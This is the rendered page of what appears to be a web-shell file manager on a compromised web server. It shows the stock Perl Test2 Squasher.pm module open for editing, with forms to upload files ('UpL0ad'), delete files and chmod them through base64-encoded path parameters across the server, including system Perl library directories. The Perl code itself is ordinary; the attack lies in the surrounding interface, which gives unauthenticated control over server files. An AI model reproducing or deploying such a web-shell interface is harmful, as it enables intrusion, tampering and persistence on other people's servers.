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<hr>Squasher.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=U3F1YXNoZXIucG0%3D"><input name="f" value="Squasher.pm"><textarea name="t">package Test2::API::InterceptResult::Squasher;
use strict;
use warnings;

our $VERSION = '1.302194';

use Carp qw/croak/;
use List::Util qw/first/;

use Test2::Util::HashBase qw{
    &lt;events

    +down_sig +down_buffer

    +up_into +up_sig +up_clear
};

sub init {
    my $self = shift;

    croak &quot;'events' is a required attribute&quot;  unless $self-&gt;{+EVENTS};
}

sub can_squash {
    my $self = shift;
    my ($event) = @_;

    # No info, no squash
    return unless $event-&gt;has_info;

    # Do not merge up if one of these is true
    return if first { $event-&gt;$_ } 'causes_fail', 'has_assert', 'has_bailout', 'has_errors', 'has_plan', 'has_subtest';

    # Signature if we can squash
    return $event-&gt;trace_signature;
}

sub process {
    my $self = shift;
    my ($event) = @_;

    return if $self-&gt;squash_up($event);
    return if $self-&gt;squash_down($event);

    $self-&gt;flush_down($event);

    push @{$self-&gt;{+EVENTS}} =&gt; $event;

    return;
}

sub squash_down {
    my $self = shift;
    my ($event) = @_;

    my $sig = $self-&gt;can_squash($event)
        or return;

    $self-&gt;flush_down()
        if $self-&gt;{+DOWN_SIG} &amp;&amp; $self-&gt;{+DOWN_SIG} ne $sig;

    $self-&gt;{+DOWN_SIG} ||= $sig;
    push @{$self-&gt;{+DOWN_BUFFER}} =&gt; $event;

    return 1;
}

sub flush_down {
    my $self = shift;
    my ($into) = @_;

    my $sig    = delete $self-&gt;{+DOWN_SIG};
    my $buffer = delete $self-&gt;{+DOWN_BUFFER};

    return unless $buffer &amp;&amp; @$buffer;

    my $fsig = $into ? $into-&gt;trace_signature : undef;

    if ($fsig &amp;&amp; $fsig eq $sig) {
        $self-&gt;squash($into, @$buffer);
    }
    else {
        push @{$self-&gt;{+EVENTS}} =&gt; @$buffer if $buffer;
    }
}

sub clear_up {
    my $self = shift;

    return unless $self-&gt;{+UP_CLEAR};

    delete $self-&gt;{+UP_INTO};
    delete $self-&gt;{+UP_SIG};
    delete $self-&gt;{+UP_CLEAR};
}

sub squash_up {
    my $self = shift;
    my ($event) = @_;
    no warnings 'uninitialized';

    $self-&gt;clear_up;

    if ($event-&gt;has_assert) {
        if(my $sig = $event-&gt;trace_signature) {
            $self-&gt;{+UP_INTO}  = $event;
            $self-&gt;{+UP_SIG}   = $sig;
            $self-&gt;{+UP_CLEAR} = 0;
        }
        else {
            $self-&gt;{+UP_CLEAR} = 1;
            $self-&gt;clear_up;
        }

        return;
    }

    my $into = $self-&gt;{+UP_INTO} or return;

    # Next iteration should clear unless something below changes that
    $self-&gt;{+UP_CLEAR} = 1;

    # Only merge into matching trace signatres
    my $sig = $self-&gt;can_squash($event);
    return unless $sig eq $self-&gt;{+UP_SIG};

    # OK Merge! Do not clear merge in case the return event is also a matching sig diag-only
    $self-&gt;{+UP_CLEAR} = 0;

    $self-&gt;squash($into, $event);

    return 1;
}

sub squash {
    my $self = shift;
    my ($into, @from) = @_;
    push @{$into-&gt;facet_data-&gt;{info}} =&gt; $_-&gt;info for @from;
}

sub DESTROY {
    my $self = shift;

    return unless $self-&gt;{+EVENTS};
    $self-&gt;flush_down();
    return;
}

1;

__END__

=pod

=encoding UTF-8

=head1 NAME

Test2::API::InterceptResult::Squasher - Encapsulation of the algorithm that
squashes diags into assertions.

=head1 DESCRIPTION

Internal use only, please ignore.

=head1 SOURCE

The source code repository for Test2 can be found at
F&lt;http://github.com/Test-More/test-more/&gt;.

=head1 MAINTAINERS

=over 4

=item Chad Granum E&lt;lt&gt;exodist@cpan.orgE&lt;gt&gt;

=back

=head1 AUTHORS

=over 4

=item Chad Granum E&lt;lt&gt;exodist@cpan.orgE&lt;gt&gt;

=back

=head1 COPYRIGHT

Copyright 2020 Chad Granum E&lt;lt&gt;exodist@cpan.orgE&lt;gt&gt;.

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

See F&lt;http://dev.perl.org/licenses/&gt;

=cut
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl/5.38.2/Test2/API/InterceptResult<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEk="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&x=RXZlbnQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=RXZlbnQucG0="/>Event.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=RXZlbnQucG0=&c=`+btoa(c):0" value="0644"></td><td>28637</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&x=RmFjZXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=RmFjZXQucG0="/>Facet.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=RmFjZXQucG0=&c=`+btoa(c):0" value="0644"></td><td>380</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&x=SHViLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=SHViLnBt"/>Hub.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=SHViLnBt&c=`+btoa(c):0" value="0644"></td><td>967</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&x=U3F1YXNoZXIucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=U3F1YXNoZXIucG0="/>Squasher.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UZXN0Mi9BUEkvSW50ZXJjZXB0UmVzdWx0&f=U3F1YXNoZXIucG0=&c=`+btoa(c):0" value="0644"></td><td>3674</td></tr></table>